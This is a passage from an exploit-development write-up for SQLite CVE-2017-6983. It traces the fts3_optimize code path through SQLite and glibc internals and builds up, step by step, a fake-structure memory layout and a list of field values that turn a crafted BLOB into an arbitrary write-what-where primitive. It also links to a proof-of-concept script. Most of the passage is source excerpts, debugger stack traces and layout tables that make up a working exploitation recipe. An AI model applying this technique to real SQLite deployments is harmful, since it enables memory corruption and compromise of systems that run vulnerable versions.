out of control 669 | > 670 | > In summary, it is possible. However, it may require significant consideration due to the limitations (-) above. 671 | 672 | ### 8. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose > sqlite3\_blob\_close > sqlite3DbFree > sqlite3DbFreeNN > measureAllocationSize > sqlite3DbMallocSize 673 | 674 | Nothing special, move on to `sqlite3DbMallocSize`. 675 | 676 | ```c 677 | 29293 SQLITE_PRIVATE int sqlite3DbMallocSize(sqlite3 *db, const void *p){ 678 | 29294 assert( p!=0 ); 679 | 29295 #ifdef SQLITE_DEBUG 680 | 29296 if( db==0 ){ 681 | 29297 assert( sqlite3MemdebugNoType(p, (u8)~MEMTYPE_HEAP) ); 682 | 29298 assert( sqlite3MemdebugHasType(p, MEMTYPE_HEAP) ); 683 | 29299 }else if( !isLookaside(db,p) ){ 684 | 29300 assert( sqlite3MemdebugHasType(p, (MEMTYPE_LOOKASIDE|MEMTYPE_HEAP)) ); 685 | 29301 assert( sqlite3MemdebugNoType(p, (u8)~(MEMTYPE_LOOKASIDE|MEMTYPE_HEAP)) ); 686 | 29302 } 687 | 29303 #endif 688 | 29304 if( db ){ 689 | 29305 if( ((uptr)p)<(uptr)(db->lookaside.pTrueEnd) ){ 690 | ... ... 691 | 29316 } 692 | 29317 } 693 | 29318 return sqlite3GlobalConfig.m.xSize((void*)p); 694 | 29319 } 695 | ``` 696 | 697 | `isLookaside` requires extra conditions related to `p`, `sqlite3.lookaside.pStart` and `sqlite3.lookaside.pTrueEnd`. However, since `assert` is not working here at all, we can simply skip it. 698 | 699 | We just need to make sure `p < db->lookaside.pTrueEnd` is `False`. 700 | 701 | ```txt 702 | ######################################################################### 703 | # Fts3Cursor (0x80) 704 | # Fts3Table (0x220) 705 | # Incrblob (0x38) 706 | # sqlite3 (0x308) 707 | # nBytesFreed (0x4) 708 | ######################################################################### 709 | Fts3Cursor.base.pVtable = &Fts3Table 710 | Fts3Table.db = 0 711 | Fts3Table.pSegments = &Incrblob 712 | Incrblob.db = &sqlite3 713 | sqlite3.mutex = 0 714 | sqlite3.lookaside.pEnd = 0 715 | sqlite3.pnBytesFreed = &nBytesFreed 716 | + sqlite3.lookaside.pTrueEnd = 0 717 | ``` 718 | 719 | ### malloc_usable_size 720 | 721 | `sqlite3GlobalConfig.m.xSize` will inovke `malloc_usable_size` in glibc to obtain the allocation size of `p`. Although this part is quit standard, we should be careful about one thing. Here is the code logic in `malloc_useable_size`. 722 | 723 | ```c 724 | struct malloc_chunk { 725 | INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ 726 | INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ 727 | struct malloc_chunk* fd; /* double links -- used only if free. */ 728 | struct malloc_chunk* bk; 729 | }; 730 | typedef struct malloc_chunk* malloc_chunk; 731 | 732 | #define chunk2mem(p) ((Void_t*)((char*)(p) + 2*SIZE_SZ)) 733 | #define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ)) 734 | /* Get size, ignoring use bits */ 735 | #define chunksize(p) ((p)->size & ~(SIZE_BITS)) 736 | /* check for mmap()'ed chunk */ 737 | #define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED) 738 | /* extract p's inuse bit */ 739 | #define inuse(p) ((((mchunkptr)(((char*)(p))+((p)->size & ~SIZE_BITS)))->size) & PREV_INUSE) 740 | 741 | // ------------------------- malloc_usable_size ------------------------- 742 | { 743 | mchunkptr p; 744 | if (mem != 0) { 745 | p = mem2chunk(mem); 746 | if (chunk_is_mmapped(p)) 747 | return chunksize(p) - 2*SIZE_SZ; 748 | else if (inuse(p)) 749 | return chunksize(p) - SIZE_SZ; 750 | } 751 | return 0; 752 | } 753 | ``` 754 | 755 | This is a little complex, but we can try to make it simpler 756 | 757 | ```c 758 | 759 | size_t malloc_usable_size(void *mem) { 760 | 761 | if (mem != NULL) { 762 | mchunkptr p = (mchunkptr) ((char *)mem - 2 * 8); 763 | if (p->size & 0x2) 764 | return p->size - 2 * 8; 765 | else { 766 | mchunkptr next = (mchunkptr) ((char *)p + p->size & ~0x7); 767 | if (next->size & 0x1) 768 | return p->size - 8; 769 | } 770 | 771 | } 772 | return 0; 773 | } 774 | ``` 775 | 776 | Here the tricky part is that, it will check the value before this pointer. This is due to the management of heap checks in glibc, which puts metadata (like size, flags etc) before the address returned to users. 777 | 778 | In this case, we want the code to be simple, like return 0. To do so, we need to control the 8 bytes before this pointer, and set them all to 0. 779 | 780 | * `p->size` is 0, so we go to else block 781 | * `next` is exactly `p`, since `p->size` is 0 782 | * `next->size` is also 0. 783 | * we reach the last line, which returns 0. 784 | 785 | Therefore, we need to reserve 8 bytes before any pointer (which is `Incrblob` here). 786 | 787 | ```txt 788 | ######################################################################### 789 | # Fts3Cursor (0x80) 790 | # Fts3Table (0x220) 791 | # + Incrblob_metadata (0x8) 792 | # Incrblob (0x38) 793 | # sqlite3 (0x308) 794 | # nBytesFreed (0x4) 795 | # Vdbe (0x138) 796 | ######################################################################### 797 | Fts3Cursor.base.pVtable = &Fts3Table 798 | Fts3Table.db = 0 799 | Fts3Table.pSegments = &Incrblob 800 | + Incrblob_metadata = 0 801 | Incrblob.db = &sqlite3 802 | sqlite3.mutex = 0 803 | sqlite3.lookaside.pEnd = 0 804 | sqlite3.pnBytesFreed = &nBytesFreed 805 | sqlite3.lookaside.pTrueEnd = 0 806 | ``` 807 | 808 | The stack layout at `malloc_useable_size` is as follows. 809 | 810 | ```bash 811 | #0 __malloc_usable_size (m=0x667d78) at ./malloc/malloc.c:5138 812 | #1 0x000000000058e99d in sqlite3MemSize (pPrior=0x667d78) at sqlite3.c:25540 813 | #2 0x0000000000448878 in sqlite3DbMallocSize (db=0x667db0, p=0x667d78) at sqlite3.c:29318 814 | #3 0x000000000046a91d in measureAllocationSize (db=0x667db0, p=0x667d78) at sqlite3.c:29349 815 | #4 0x000000000046a895 in sqlite3DbFreeNN (db=0x667db0, p=0x667d78) at sqlite3.c:29386 816 | #5 0x0000000000448cf6 in sqlite3DbFree (db=0x667db0, p=0x667d78) at sqlite3.c:29435 817 | #6 0x000000000045a894 in sqlite3_blob_close (pBlob=0x667d78) at sqlite3.c:98933 818 | #7 0x000000000059505c in sqlite3Fts3SegmentsClose (p=0x667b58) at sqlite3.c:190162 819 | #8 0x00000000005b6df1 in sqlite3Fts3Optimize (p=0x667b58) at sqlite3.c:194718 820 | #9 0x00000000005b3d92 in fts3OptimizeFunc (pContext=0x664700, nVal=0x1, apVal=0x664730) at sqlite3.c:182457 821 | ``` 822 | 823 | ### 9. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose > sqlite3\_blob\_close 824 | 825 | Now the execution go back to frame 6, which is within `sqlite3_blob_close`, line 98933. 826 | 827 | ```c 828 | 98924 SQLITE_API int sqlite3_blob_close(sqlite3_blob *pBlob){ 829 | 98925 Incrblob *p = (Incrblob *)pBlob; 830 | 98926 int rc; 831 | 98927 sqlite3 *db; 832 | 98928 833 | 98929 if( p ){ 834 | 98930 sqlite3_stmt *pStmt = p->pStmt; 835 | 98931 db = p->db; 836 | 98932 sqlite3_mutex_enter(db->mutex); 837 | 98933 sqlite3DbFree(db, p); 838 | >98934 sqlite3_mutex_leave(db->mutex); 839 | 98935 rc = sqlite3_finalize(pStmt); 840 | 98936 }else{ 841 | 98937 rc = SQLITE_OK; 842 | 98938 } 843 | 98939 return rc; 844 | 98940 } 845 | ``` 846 | 847 | `sqlit3_mutex_leave` just leaves the mutex. 848 | 849 | ### 10. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose > sqlite3\_blob\_close > sqlite3_finalize 850 | 851 | Now we are going to enter `sqlite3_fianlize` function, with `pStmt` as the only argument. `pStmt` comes from `p->pStmt`. Here, this `p` points to the `Incrblob` structure. We may need to set `Incrblob.pStmt` later. 852 | 853 | ```c 854 | 87424 /* 855 | 87425 ** The following routine destroys a virtual machine that is created by 856 | 87426 ** the sqlite3_compile() routine. The integer returned is an SQLITE_ 857 | 87427 ** success/failure code that describes the result of executing the virtual 858 | 87428 ** machine. 859 | 87429 ** 860 | 87430 ** This routine sets the error code and string returned by 861 | 87431 ** sqlite3_errcode(), sqlite3_errmsg() and sqlite3_errmsg16(). 862 | 87432 */ 863 | 87433 SQLITE_API int sqlite3_finalize(sqlite3_stmt *pStmt){ 864 | 87434 int rc; 865 | 87435 if( pStmt==0 ){ 866 | 87436 /* IMPLEMENTATION-OF: R-57228-12904 Invoking sqlite3_finalize() on a NULL 867 | 87437 ** pointer is a harmless no-op. */ 868 | 87438 rc = SQLITE_OK; 869 | 87439 }else{ 870 | 87440 Vdbe *v = (Vdbe*)pStmt; 871 | 87441 sqlite3 *db = v->db; 872 | 87442 if( vdbeSafety(v) ) return SQLITE_MISUSE_BKPT; 873 | 87443 sqlite3_mutex_enter(db->mutex); 874 | 87444 checkProfileCallback(db, v); 875 | 87445 assert( v->eVdbeState>=VDBE_READY_STATE ); 876 | 87446 rc = sqlite3VdbeReset(v); 877 | 87447 sqlite3VdbeDelete(v); 878 | 87448 rc = sqlite3ApiExit(db, rc); 879 | 87449 sqlite3LeaveMutexAndCloseZombie(db); 880 | 87450 } 881 | 87451 return rc; 882 | 87452 } 883 | ``` 884 | 885 | If we set `pStmt` to `0`, the whole function call will immediately return. However, we have not achieved arbitrary memory write, so we cannot make it zero. 886 | 887 | Instead, we need to make `pStmt` point to a `Vdbe` structure based on line `87440`. Within the `Vdbe` structure, we need to set `db` to point to a `sqlite3`. Here, we reuse the previous `sqlite3` structure to reduce the footprint. However, if there is any conflict, we will need to come back and create a seperate `sqlite3`. 888 | 889 | ```txt 890 | ######################################################################### 891 | # Fts3Cursor (0x80) 892 | # Fts3Table (0x220) 893 | # Incrblob_metadata (0x8) 894 | # Incrblob (0x38) 895 | # sqlite3 (0x308) 896 | # nBytesFreed (0x4) 897 | # + Vdbe (0x138) 898 | ######################################################################### 899 | Fts3Cursor.base.pVtable = &Fts3Table 900 | Fts3Table.db = 0 901 | Fts3Table.pSegments = &Incrblob 902 | Incrblob_metadata = 0 903 | Incrblob.db = &sqlite3 904 | sqlite3.mutex = 0 905 | sqlite3.lookaside.pEnd = 0 906 | sqlite3.pnBytesFreed = &nBytesFreed 907 | sqlite3.lookaside.pTrueEnd = 0 908 | + Incrblob.pStmt = &Vdbe 909 | + Vdbe.db = &sqlite3 910 | ``` 911 | 912 | ```c 913 | 87373 static int vdbeSafety(Vdbe *p){ 914 | 87374 if( p->db==0 ){ 915 | 87375 sqlite3_log(SQLITE_MISUSE, "API called with finalized prepared statement"); 916 | 87376 return 1; 917 | 87377 }else{ 918 | 87378 return 0; 919 | 87379 } 920 | 87380 } 921 | ``` 922 | 923 | `vdbeSatefy` merely checks its `db` member, so we have fixed it by pointing to a real (fake) `sqlite` structure. 924 | 925 | ```c 926 | 87414 /* 927 | 87415 ** The checkProfileCallback(DB,P) macro checks to see if a profile callback 928 | 87416 ** is needed, and it invokes the callback if it is needed. 929 | 87417 */ 930 | 87418 # define checkProfileCallback(DB,P) \ 931 | 87419 if( ((P)->startTime)>0 ){ invokeProfileCallback(DB,P); } 932 | 87420 #else 933 | 87421 # define checkProfileCallback(DB,P) /*no-op*/ 934 | 87422 #endif 935 | ``` 936 | 937 | We need to set `Vdbe.startTime` to 0 to avoid invoking `invokeProfileCallback`. Also, need to set `Vdbe.eVdbeState = 1` to bypass the `assert` at line 87745. 938 | 939 | ```txt 940 | ######################################################################### 941 | # Fts3Cursor (0x80) 942 | # Fts3Table (0x220) 943 | # Incrblob_metadata (0x8) 944 | # Incrblob (0x38) 945 | # sqlite3 (0x308) 946 | # nBytesFreed (0x4) 947 | # Vdbe (0x138) 948 | ######################################################################### 949 | Fts3Cursor.base.pVtable = &Fts3Table 950 | Fts3Table.db = 0 951 | Fts3Table.pSegments = &Incrblob 952 | Incrblob_metadata = 0 953 | Incrblob.db = &sqlite3 954 | sqlite3.mutex = 0 955 | sqlite3.lookaside.pEnd = 0 956 | sqlite3.pnBytesFreed = &nBytesFreed 957 | sqlite3.lookaside.pTrueEnd = 0 958 | Incrblob.pStmt = &Vdbe 959 | Vdbe.db = &sqlite3 960 | + Vdbe.startTime = 0 961 | + Vdbe.eVdbeState = 1 962 | ``` 963 | 964 | ### 11. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose > sqlite3\_blob\_close > sqlite3_finalize > sqlite3VdbeReset 965 | 966 | Now we enter `sqlite3VdbeReset`. This function is long and complex, so we will take time to analyze it. 967 | 968 | ```c 969 | 85436 if( p->eVdbeState==VDBE_RUN_STATE ) sqlite3VdbeHalt(p); 970 | ``` 971 | 972 | We have set `eVdbeState` to `VDBE_READY_STATE`, not `VDBE_RUN_STATE`. 973 | 974 | ```c 975 | 85438 /* If the VDBE has been run even partially, then transfer the error code 976 | 85439 ** and error message from the VDBE into the main database structure. But 977 | 85440 ** if the VDBE has just been set to run but has not actually executed any 978 | 85441 ** instructions yet, leave the main database error information unchanged. 979 | 85442 */ 980 | 85443 if( p->pc>=0 ){ 981 | 85444 vdbeInvokeSqllog(p); 982 | 85445 if( db->pErr || p->zErrMsg ){ 983 | 85446 sqlite3VdbeTransferError(p); 984 | 85447 }else{ 985 | 85448 db->errCode = p->rc; 986 | 85449 } 987 | 85450 } 988 | ``` 989 | 990 | Here we want the execution go into `sqlite3VbdeTransferError`, so we make `p->pc = 0`. Meanwhile, we make `db-pErr` point to a valid `sqlite3_value` structure, and make `p->zErrMsg` to a temporary pointer, say the same as `base`. 991 | 992 | ```txt 993 | ######################################################################### 994 | # Fts3Cursor (0x80) 995 | # Fts3Table (0x220) 996 | # Incrblob_metadata (0x8) 997 | # Incrblob (0x38) 998 | # sqlite3 (0x308) 999 | # nBytesFreed (0x4) 1000 | # Vdbe (0x138) 1001 | # + sqlite3_value (0x48) 1002 | ######################################################################### 1003 | Fts3Cursor.base.pVtable = &Fts3Table 1004 | Fts3Table.db = 0 1005 | Fts3Table.pSegments = &Incrblob 1006 | Incrblob_metadata = 0 1007 | Incrblob.db = &sqlite3 1008 | sqlite3.mutex = 0 1009 | sqlite3.lookaside.pEnd = 0 1010 | sqlite3.pnBytesFreed = &nBytesFreed 1011 | sqlite3.lookaside.pTrueEnd = 0 1012 | Incrblob.pStmt = &Vdbe 1013 | Vdbe.db = &sqlite3 1014 | Vdbe.startTime = 0 1015 | Vdbe.eVdbeState = 1 1016 | + Vdbe.pc = 0 1017 | + Vdbe.zErrMsg = &Fts3Cursor (temporary) 1018 | + sqlite3.pErr = &sqlite3_value 1019 | ``` 1020 | 1021 | After this setting, we are ready to invoke `sqlite3VdbeTransferError`. 1022 | 1023 | ### 12. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose > sqlite3\_blob\_close > sqlite3_finalize > sqlite3VdbeReset > sqlite3VdbeTransferError 1024 | 1025 | ```c 1026 | 85367 ** Copy the error code and error message belonging to the VDBE passed 1027 | 85368 ** as the first argument to its database handle (so that they will be 1028 | 85369 ** returned by calls to sqlite3_errcode() and sqlite3_errmsg()). 1029 | 85370 ** 1030 | 85371 ** This function does not clear the VDBE error code or message, just 1031 | 85372 ** copies them to the database handle. 1032 | 85373 */ 1033 | 85374 SQLITE_PRIVATE int sqlite3VdbeTransferError(Vdbe *p){ 1034 | 85375 sqlite3 *db = p->db; 1035 | 85376 int rc = p->rc; 1036 | 85377 if( p->zErrMsg ){ 1037 | 85378 db->bBenignMalloc++; 1038 | 85379 sqlite3BeginBenignMalloc(); 1039 | 85380 if( db->pErr==0 ) db->pErr = sqlite3ValueNew(db); 1040 | 85381 sqlite3ValueSetStr(db->pErr, -1, p->zErrMsg, SQLITE_UTF8, SQLITE_TRANSIENT); 1041 | 85382 sqlite3EndBenignMalloc(); 1042 | 85383 db->bBenignMalloc--; 1043 | 85384 }else if( db->pErr ){ 1044 | 85385 sqlite3ValueSetNull(db->pErr); 1045 | 85386 } 1046 | 85387 db->errCode = rc; 1047 | 85388 db->errByteOffset = -1; 1048 | 85389 return rc; 1049 | 85390 } 1050 | ``` 1051 | 1052 | * At line 85377, `p->zErrMsg` is not `NULL`, so we will enter the `if` block. 1053 | * At line 85380, `db->pErr` is not `NULL`, so we skip the allocation. 1054 | 1055 | We are ready to enter function `sqlite3ValueSetStr`. 1056 | 1057 | ### 13. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose > sqlite3\_blob\_close > sqlite3_finalize > sqlite3VdbeReset > sqlite3VdbeTransferError > sqlite3ValueSetStr 1058 | 1059 | ```c 1060 | 81958 SQLITE_PRIVATE void sqlite3ValueSetStr( 1061 | 81959 sqlite3_value *v, /* Value to be set */ 1062 | 81960 int n, /* Length of string z */ 1063 | 81961 const void *z, /* Text of the new string */ 1064 | 81962 u8 enc, /* Encoding to use */ 1065 | 81963 void (*xDel)(void*) /* Destructor for the string */ 1066 | 81964 ){ 1067 | 81965 if( v ) sqlite3VdbeMemSetStr((Mem *)v, z, n, enc, xDel); 1068 | 81966 } 1069 | ``` 1070 | 1071 | The code here is very simple. Since `v`, which is `db->pErr` is not `NULL`, we will enter function `sqlite3VdbeMemSetStr`. 1072 | 1073 | ### 14. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose > sqlite3\_blob\_close > sqlite3_finalize > sqlite3VdbeReset > sqlite3VdbeTransferError > sqlite3ValueSetStr > sqlite3VdbeMemSetStr 1074 | 1075 | This function is also complex. However, the overall function is like a `memcpy(dst, src, n)` 1076 | 1077 | There are a few extra constraints needed to be fixed. 1078 | 1079 | Constraints in this function: 1080 | 1081 | * `sqlite3_value.db` should be 0 to bypass an assert check at line 81169. 1082 | 1083 | Constraints in function `sqlite3VdbeMemClearAndResize`. 1084 | 1085 | * `sqlite3_value.szMalloc` should be larger than 0x20; make it `0x100` to simplify the task 1086 | * `sqlite3_value.flags & MEM_Dyn` should be `0`, so just set the `flags` to 0 1087 | * `sqlite3_value.zMalloc` is copied to `sqlite3_value.z`. This is the destination pointer. 1088 | 1089 | 1090 | ```txt 1091 | ######################################################################### 1092 | # Fts3Cursor (0x80) 1093 | # Fts3Table (0x220) 1094 | # Incrblob_metadata (0x8) 1095 | # Incrblob (0x38) 1096 | # sqlite3 (0x308) 1097 | # nBytesFreed (0x4) 1098 | # Vdbe (0x138) 1099 | # sqlite3_value (0x48) 1100 | ######################################################################### 1101 | Fts3Cursor.base.pVtable = &Fts3Table 1102 | Fts3Table.db = 0 1103 | Fts3Table.pSegments = &Incrblob 1104 | Incrblob_metadata = 0 1105 | Incrblob.db = &sqlite3 1106 | sqlite3.mutex = 0 1107 | sqlite3.lookaside.pEnd = 0 1108 | sqlite3.pnBytesFreed = &nBytesFreed 1109 | sqlite3.lookaside.pTrueEnd = 0 1110 | Incrblob.pStmt = &Vdbe 1111 | Vdbe.db = &sqlite3 1112 | Vdbe.startTime = 0 1113 | Vdbe.eVdbeState = 1 1114 | Vdbe.pc = 0 1115 | Vdbe.zErrMsg = &Fts3Cursor (temporary) 1116 | sqlite3.pErr = &sqlite3_value 1117 | + sqlite3_value.db = 0 1118 | + sqlite3_value.szMalloc = 0x100 1119 | + sqlite3_value.flags = 0 1120 | + sqlite3_value.zMalloc = 0xdeadbeef 1121 | ``` 1122 | 1123 | Once this setting is done, we will reach the following line in `sqlite3VdbeMemSetStr`, which is exactly a call to `memcpy`. 1124 | 1125 | ```c 1126 | 81225 memcpy(pMem->z, z, nAlloc); 1127 | ``` 1128 | 1129 | At this moment, we finally achieve arbitrary memory write, from any location, to any location. 1130 | 1131 | ### 15. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose > sqlite3\_blob\_close > sqlite3_finalize > sqlite3VdbeReset 1132 | 1133 | The execution will return back to `sqlite3VdbeReset` at line 85447. 1134 | 1135 | ```c 1136 | 85429 sqlite3 *db; 1137 | 85430 db = p->db; 1138 | ... ... 1139 | 85443 if( p->pc>=0 ){ 1140 | 85444 vdbeInvokeSqllog(p); 1141 | 85445 if( db->pErr || p->zErrMsg ){ 1142 | 85446 sqlite3VdbeTransferError(p); 1143 | 85447 }else{ 1144 | 85448 db->errCode = p->rc; 1145 | 85449 } 1146 | 85450 } 1147 | ... 1148 | 85457 if( p->apCsr ) ... 1149 | 85458 if( p->aMem ){ 1150 | 85459 ... 1151 | 85460 } 1152 | 85461 1153 | 85462 if( p->zErrMsg ){ 1154 | 85463 sqlite3DbFree(db, p->zErrMsg); 1155 | 85464 p->zErrMsg = 0; 1156 | 85465 } 1157 | ... ... // note: VDBE_PROFILE is false 1158 | 85506 return p->rc & db->errMask; 1159 | 85507 } 1160 | ``` 1161 | 1162 | We need to set `p->apCsr`, `p->aMem` to 0. `p->zErrMsg` is not `NULL` so the execution will go into `sqlite3DbFree`. We do not have to worry about it, since we have set up a proper `sqlite` before and reuse it for this `db`. 1163 | 1164 | ```txt 1165 | ######################################################################### 1166 | # Fts3Cursor (0x80) 1167 | # Fts3Table (0x220) 1168 | # Incrblob_metadata (0x8) 1169 | # Incrblob (0x38) 1170 | # sqlite3 (0x308) 1171 | # nBytesFreed (0x4) 1172 | # Vdbe (0x138) 1173 | # sqlite3_value (0x48) 1174 | ######################################################################### 1175 | Fts3Cursor.base.pVtable = &Fts3Table 1176 | Fts3Table.db = 0 1177 | Fts3Table.pSegments = &Incrblob 1178 | Incrblob_metadata = 0 1179 | Incrblob.db = &sqlite3 1180 | sqlite3.mutex = 0 1181 | sqlite3.lookaside.pEnd = 0 1182 | sqlite3.pnBytesFreed = &nBytesFreed 1183 | sqlite3.lookaside.pTrueEnd = 0 1184 | Incrblob.pStmt = &Vdbe 1185 | Vdbe.db = &sqlite3 1186 | Vdbe.startTime = 0 1187 | Vdbe.eVdbeState = 1 1188 | Vdbe.pc = 0 1189 | Vdbe.zErrMsg = src_ptr 1190 | sqlite3.pErr = &sqlite3_value 1191 | sqlite3_value.szMalloc = 0x100 1192 | sqlite3_value.flags = 0 1193 | sqlite3_value.zMalloc = dst_ptr 1194 | + Vdbe.apCsr = 0 1195 | + Vdbe.aMem = 0 1196 | ``` 1197 | OK, we are good to return now, returning to line 87447 within function `sqlite3_finalize`. 1198 | 1199 | ```c 1200 | 87433 SQLITE_API int sqlite3_finalize(sqlite3_stmt *pStmt){ 1201 | 87434 int rc; 1202 | 87435 if( pStmt==0 ){ 1203 | 87436 /* IMPLEMENTATION-OF: R-57228-12904 Invoking sqlite3_finalize() on a NULL 1204 | 87437 ** pointer is a harmless no-op. */ 1205 | 87438 rc = SQLITE_OK; 1206 | 87439 }else{ 1207 | 87440 Vdbe *v = (Vdbe*)pStmt; 1208 | 87441 sqlite3 *db = v->db; 1209 | 87442 if( vdbeSafety(v) ) return SQLITE_MISUSE_BKPT; 1210 | 87443 sqlite3_mutex_enter(db->mutex); 1211 | 87444 checkProfileCallback(db, v); 1212 | 87445 assert( v->eVdbeState>=VDBE_READY_STATE ); 1213 | 87446 rc = sqlite3VdbeReset(v); 1214 | >87447 sqlite3VdbeDelete(v); 1215 | 87448 rc = sqlite3ApiExit(db, rc); 1216 | 87449 sqlite3LeaveMutexAndCloseZombie(db); 1217 | 87450 } 1218 | 87451 return rc; 1219 | 87452 } 1220 | ``` 1221 | 1222 | The execution will go through multiple functions, with some extra constraints. 1223 | 1224 | ```txt 1225 | #---------------------------------------------------------- 1226 | # expected layout: 1227 | 1228 | # Fts3Cursor (0x80) 1229 | # Fts3Table (0x220) 1230 | # Incrblob_metadata (0x8) 1231 | # Incrblob (0x38) 1232 | # sqlite3 (0x308) 1233 | # nBytesFreed (0x4) 1234 | # Vdbe_metadata (0x8) 1235 | # Vdbe (0x138) 1236 | # sqlite3_value (0x48) 1237 | # malicious metadata (0x8) 1238 | # malicious value/string (?) 1239 | 1240 | #---------------------------------------------------------- 1241 | # required type.member values: 1242 | 1243 | # Fts3Cursor.base.pVtable = &Fts3Table (line 182454 @ fts3OptimizeFunc) 1244 | # Fts3Table.db = 0 (line 34895 @ sqlite3SafetyCheckOk) 1245 | # Fts3Table.pSegments = &Incrblob (line 98925 @ sqlite3_blob_close) 1246 | # Incrblob_metadata = 0 (due to malloc_usable_size) 1247 | # Incrblob.db = &sqlite3 (line 98931 @ sqlite3_blob_close) 1248 | # sqlite3.mutex = 0 (line 98932 @ sqlite3_blob_close) 1249 | # sqlite3.lookaside.pEnd = 0 (line 29361 @ sqlite3DbFreeNN) 1250 | # sqlite3.pnBytesFreed = &nBytesFreed (line 29385 @ sqlite3DbFreeNN) 1251 | # sqlite3.lookaside.pTrueEnd = 0 (line 29305 @ isqlite3DbMallocSize) 1252 | # Incrblob.pStmt = &Vdbe (line 87440 @ sqlite3_finalize) 1253 | # Vdbe_metadata = 0 (due to malloc_usable_size) 1254 | # Vdbe.db = &sqlite3 (line 87441 @ sqlite3_finalize) 1255 | # Vdbe.startTime = 0 (line 87444 @ sqlite3_finalize) 1256 | # Vdbe.eVdbeState = 1 (line 87445 @ sqlite3_finalize) 1257 | # Vdbe.pc = 0 (line 85443 @ sqlite3VdbeReset) 1258 | # Vdbe.zErrMsg = src_ptr (line 85445 @ sqlite3VdbeReset) 1259 | # sqlite3.pErr = &sqlite3_value (line 85445 @ sqlite3VdbeReset) 1260 | # sqlite3_value.db = 0 (line 81169 @ sqlite3VdbeMemSetStr) 1261 | # sqlite3_value.flags = 0 (line 80323 @ sqlite3VdbeMemClearAndResize) 1262 | # sqlite3_value.szMalloc = 0x100 (line 80324 @ sqlite3VdbeMemClearAndResize) 1263 | # sqlite3_value.zMalloc = dst_ptr (line 80328 @ sqlite3VdbeMemClearAndResize) 1264 | # Vdbe.apCsr = 0 (line 85457 @ sqlite3VdbeReset) 1265 | # Vdbe.aMem = 0 (line 85458 @ sqlite3VdbeReset) 1266 | # Vdbe.aColName = 0 (line 85574 @ sqlite3VdbeClearObject) 1267 | # Vdbe.pProgram = 0 (line 85578 @ sqlite3VdbeClearObject) 1268 | # Vdbe.aVar = 0 (line 85584 @ sqlite3VdbeClearObject) 1269 | # Vdbe.pVList = 0 (line 85585 @ sqlite3VdbeClearObject) 1270 | # Vdbe.pFree = 0 (line 85586 @ sqlite3VdbeClearObject) 1271 | # Vdbe.aOp = 0 (line 85588 @ sqlite3VdbeClearObject) 1272 | # Vdbe.nOp = 0 (line 85588 @ sqlite3VdbeClearObject) 1273 | # Vdbe.zSql = 0 (line 85589 @ sqlite3VdbeClearObject) 1274 | # malicious_metadata = 0 (due to malloc_usable_size) 1275 | # malicious_content = Your-bad-value 1276 | ``` 1277 | 1278 | 1279 | We can luckily keep returning, until we reach back to the very first function `fts3OptimizeFunc` 1280 | 1281 | ### 16. sqlite3Fts3Optimize 1282 | 1283 | ```c 1284 | 182457 rc = sqlite3Fts3Optimize(p); 1285 | 182458 1286 | >182459 switch( rc ){ 1287 | 182460 case SQLITE_OK: 1288 | 182461 sqlite3_result_text(pContext, "Index optimized", -1, SQLITE_STATIC); 1289 | 182462 break; 1290 | 182463 case SQLITE_DONE: 1291 | 182464 sqlite3_result_text(pContext, "Index already optimal", -1, SQLITE_STATIC); 1292 | 182465 break; 1293 | 182466 default: 1294 | 182467 sqlite3_result_error_code(pContext, rc); 1295 | 182468 break; 1296 | 182469 } 1297 | 182470 } 1298 | ``` 1299 | 1300 | `rc` here comes from `sqlite3Fts3Optimize`, where we have intensionally failed `sqlite3_exec`, which makes `rc` 0x15 -- `SQLITE_MISUSE`. If we just let SQLite continue, it will report an error on the terminal. 1301 | 1302 | ```bash 1303 | Runtime error near line 5: bad parameter or other API misuse (21) 1304 | ``` 1305 | 1306 | This is OK since it does not stop the execution of more SQL queries. 1307 | 1308 | # The Complete Exploit 1309 | 1310 | We have completed the construction of a write-what-where primitive. The complete PoC is available at [cve-2017-6983-poc.py](./cve-2017-6983-poc.py). 1311 | 1312 | Note that we can remove all corruptions to `0` since in our initial malicious BLOB data, the content is almost all `0`. Therefore, the layout and required changes can be reduced to a simple version. 1313 | 1314 | 1315 | ```txt 1316 | #---------------------------------------------------------- 1317 | # expected layout: 1318 | 1319 | # Fts3Cursor (0x80) 1320 | # Fts3Table (0x220) 1321 | # Incrblob_metadata (0x8) 1322 | # Incrblob (0x38) 1323 | # sqlite3 (0x308) 1324 | # nBytesFreed (0x4) 1325 | # Vdbe_metadata (0x8) 1326 | # Vdbe (0x138) 1327 | # sqlite3_value (0x48) 1328 | # malicious metadata (0x8) 1329 | # malicious value/string (?) 1330 | 1331 | #---------------------------------------------------------- 1332 | # required type.member values: 1333 | 1334 | # Fts3Cursor.base.pVtable = &Fts3Table (line 182454 @ fts3OptimizeFunc) 1335 | # Fts3Table.pSegments = &Incrblob (line 98925 @ sqlite3_blob_close) 1336 | # Incrblob.db = &sqlite3 (line 98931 @ sqlite3_blob_close) 1337 | # sqlite3.pnBytesFreed = &nBytesFreed (line 29385 @ sqlite3DbFreeNN) 1338 | # Incrblob.pStmt = &Vdbe (line 87440 @ sqlite3_finalize) 1339 | # Vdbe.db = &sqlite3 (line 87441 @ sqlite3_finalize) 1340 | # Vdbe.eVdbeState = 1 (line 87445 @ sqlite3_finalize) 1341 | # Vdbe.zErrMsg = src_ptr (line 85445 @ sqlite3VdbeReset) 1342 | # sqlite3.pErr = &sqlite3_value (line 85445 @ sqlite3VdbeReset) 1343 | # sqlite3_value.szMalloc = 0x100 (line 80324 @ sqlite3VdbeMemClearAndResize) 1344 | # sqlite3_value.zMalloc = dst_ptr (line 80328 @ sqlite3VdbeMemClearAndResize) 1345 | # malicious_content = Your-bad-value 1346 | ``` 1347 | 1348 | 1349 | The simplified PoC is available at 